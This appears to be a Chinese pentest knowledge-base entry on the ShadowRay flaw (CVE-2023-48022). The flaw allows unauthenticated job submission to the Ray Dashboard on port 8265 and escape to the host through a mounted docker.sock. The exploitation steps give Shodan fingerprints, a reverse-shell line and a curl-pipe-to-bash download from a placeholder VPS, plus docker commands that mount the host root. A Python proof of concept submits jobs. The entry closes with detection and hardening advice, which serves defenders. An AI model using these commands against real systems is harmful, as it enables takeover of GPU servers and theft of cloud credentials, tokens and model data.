♧ Godown 安全知识树

Ray Dashboard 8265 未授权 Jobs API 提交任意 Python 代码 RCE,借 docker.sock 接管宿主机(CVE-2023-48022/ShadowRay)

pentest/initial-access · verified

一句话结论

Ray Dashboard 默认监听 0.0.0.0:8265 且不带鉴权,任何能访问该端口的人都能通过 Jobs API 向集群提交任意 Python 代码并以 Worker 进程身份执行;若 Worker 容器挂载了 /var/run/docker.sock 或为特权容器,攻击者可继而启动挂载宿主机根目录的容器,接管整台 GPU 服务器(CVE-2023-48022,常称 ShadowRay)。

原理

  • 默认无鉴权:Ray 把 Dashboard 定位为内网开发/运维界面,官方默认配置没有认证与授权。能访问 8265 就等于能调用 Dashboard 的全部 API。
  • Jobs API 是设计上的代码执行入口:POST /api/jobs/(部分版本/组件为 /api/job_agent/jobs)接受 entrypoint 字段,Ray 会在集群 Worker 上启动该命令;entrypoint 可以是任意 shell/Python 命令,因此无需内存破坏或反序列化 gadget,直接提交 python -c '...' 即可。
  • 为何能拿到宿主机:AI 训练集群为了使用 GPU,Worker 常以 --privileged 运行或挂载宿主机 /var/run/docker.sock。这两种配置都让容器内进程可控制宿主机 Docker;执行 docker run -v /:/host ... chroot /host 即可读写宿主机文件系统,完成容器逃逸。
  • CVE 争议:CVE-2023-48022 描述的是 Ray Dashboard 作业提交接口可导致 RCE;维护方认为 Dashboard 不应暴露公网,属于设计预期。无论定性如何,暴露 8265 且未加认证的部署都构成实际未授权 RCE。
  • 影响:攻击者可读取训练数据/模型权重、窃取云凭据与 HF Token、挖矿、横向进入内网,或篡改模型产出。

触发条件

  • 目标 Ray Dashboard 的 8265 端口可从攻击者网络访问。
  • 未在前面加认证代理(Nginx Basic Auth/mTLS)或网络隔离。
  • 目标版本/部署仍允许 Jobs API 提交作业(默认部署即满足)。
  • 要升级到宿主机接管,需 Worker 容器为特权或挂载 docker.sock;否则仍可 RCE 到 Worker 容器并窃取容器内数据/凭据。

利用步骤

  1. 指纹识别:请求 http://target:8265/,页面标题为 Ray Dashboard,响应头常见 aiohttp;FOFA/Shodan 可用 body="Ray Dashboard" && port="8265"。
  2. 探测 API:GET /api/jobs/ 或 GET /api/job_agent/jobs,返回 200/JSON 即说明接口可达且通常无鉴权。
  3. 提交无害验证作业:entrypoint 设为 python -c 'import os; print(os.getuid()); print(os.uname())',从作业日志/输出确认执行身份。
  4. 提交反弹 Shell 或二阶段下载:如 bash -i >& /dev/tcp/<vps>/4444 0>&1,或 curl -s http://<vps>/s.sh | bash。
  5. 容器内枚举:id、cat /proc/1/cgroup、ls -l /var/run/docker.sock、mount、环境变量中的云凭据/HF Token。
  6. 若存在 docker.sock:docker run -v /:/host --rm -it ubuntu chroot /host(或 docker run -v /:/host alpine sh -c 'chroot /host ...')读写宿主机,落地凭据与持久化。
  7. 授权测试只用 id/touch 等无害命令,验证后清理提交的作业。

PoC

import requests

TARGET = "http://target:8265"

# 1) 接口探测(无鉴权时返回 200/JSON)
r = requests.get(f"{TARGET}/api/jobs/", timeout=10)
print(r.status_code, r.text[:200])

# 2) 提交最小验证作业;entrypoint 由 Ray 在 Worker 上执行
payload = {
    "entrypoint": "python -c 'import os; print(os.getuid(), os.uname())'",
    "job_id": "sys_update_task_007",
    "runtime_env": {},
    "metadata": {"user": "root"},
}
r = requests.post(f"{TARGET}/api/jobs/", json=payload, timeout=10)
print(r.status_code, r.text)

说明:原文使用 GET/POST /api/job_agent/jobs 并提交 python -c 'import os; os.system("bash -i >& /dev/tcp/...")';不同 Ray 版本的 Dashboard 路由可能是 /api/jobs/ 或 /api/job_agent/jobs,需按目标版本探测。未在真实 Ray 集群复跑。

变体与关联

  • API 路由变体:/api/jobs/(Dashboard Jobs REST API)与 /api/job_agent/jobs(Job Agent)在不同版本/部署中暴露;也可见 /api/jobs/{job_id}/logs、/api/jobs/{job_id}/stop。
  • 入口变体:除 8265 Dashboard 外,Ray Client(通常 10001)、Ray Serve、Jupyter Lab、MLflow 等 AI 基础设施端口也常无鉴权暴露,可作为初始访问点。
  • 逃逸变体:docker.sock 挂载、特权容器、/proc/cgroup 可写、宿主机敏感目录挂载;参见 [[cloud-container-docker-socket-tcp-escape]]、[[cloud-container-docker-privileged-host-disk-escape]]。
  • 关联:同属暴露的 AI/算力基础设施未授权 RCE,可与 Kubernetes Dashboard 未授权([[cloud-k8s-dashboard-skip-login-cluster-admin-takeover]])、Jupyter 未授权等组合横向。

检测与防御

  • 网络隔离:Ray Dashboard、Job Agent、Ray Client、Jupyter 等端口只允许运维网段/VPN 访问,严禁公网暴露;用安全组/防火墙做默认拒绝。
  • 强制鉴权:在 Dashboard 前部署 Nginx Basic Auth、OAuth2 Proxy 或 mTLS;不要把 8265 直接映射到公网。
  • 最小权限与容器加固:Worker 容器不要挂载 docker.sock,不以 --privileged 运行;限制容器内云凭据、HF Token 与训练数据权限;只读根文件系统。
  • 检测:审计 /api/jobs/、/api/job_agent/jobs 的 POST 与异常 entrypoint(python -c、bash -i、/dev/tcp、curl|bash);监控 Worker 上的异常子进程、对外连接与 docker run -v /:/host;告警 8265 的公网访问。
  • 响应:隔离 Ray 集群与宿主机,轮换集群可读的云凭据、HF Token、SSH Key,检查恶意作业、挖矿进程与持久化,清理提交的 job 并升级/加固部署。